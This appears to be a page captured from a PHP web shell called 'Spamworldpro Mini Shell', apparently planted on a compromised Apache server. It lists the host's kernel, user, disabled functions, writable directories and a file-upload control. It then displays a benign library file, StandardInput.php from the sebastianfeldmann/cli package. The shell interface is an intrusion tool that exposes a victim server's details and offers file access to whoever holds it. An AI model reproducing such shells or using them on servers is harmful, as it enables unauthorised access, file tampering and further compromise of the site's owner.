Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/old/vendor/sebastianfeldmann/cli/src/Reader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/old/vendor/sebastianfeldmann/cli/src/Reader/StandardInput.php
<?php

/**
 * This file is part of SebastianFeldmann\Cli.
 *
 * (c) Sebastian Feldmann <[email protected]>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace SebastianFeldmann\Cli\Reader;

use Exception;

/**
 * StandardInput
 *
 * @package SebastianFeldmann\Cli
 * @author  Sebastian Feldmann <[email protected]>
 * @link    https://github.com/sebastianfeldmann/cli
 * @since   Class available since Release 3.3.0
 */
class StandardInput extends Abstraction
{
    /**
     * Standard Input stream handle
     *
     * @var resource
     */
    private $handle;

    /**
     * StandardInput constructor.
     *
     * @param resource $stdInHandle
     */
    public function __construct($stdInHandle)
    {
        $this->handle = $stdInHandle;
    }

    /**
     * Create the generator
     *
     * @return iterable
     * @throws \Exception
     */
    protected function createIterator(): iterable
    {
        $read   = [$this->handle];
        $write  = [];
        $except = [];
        $result = stream_select($read, $write, $except, 0);

        if ($result === false) {
            throw new Exception('stream_select failed');
        }
        if ($result !== 0) {
            while (!\feof($this->handle)) {
                yield \fgets($this->handle);
            }
        }
    }
}

Spamworldpro Mini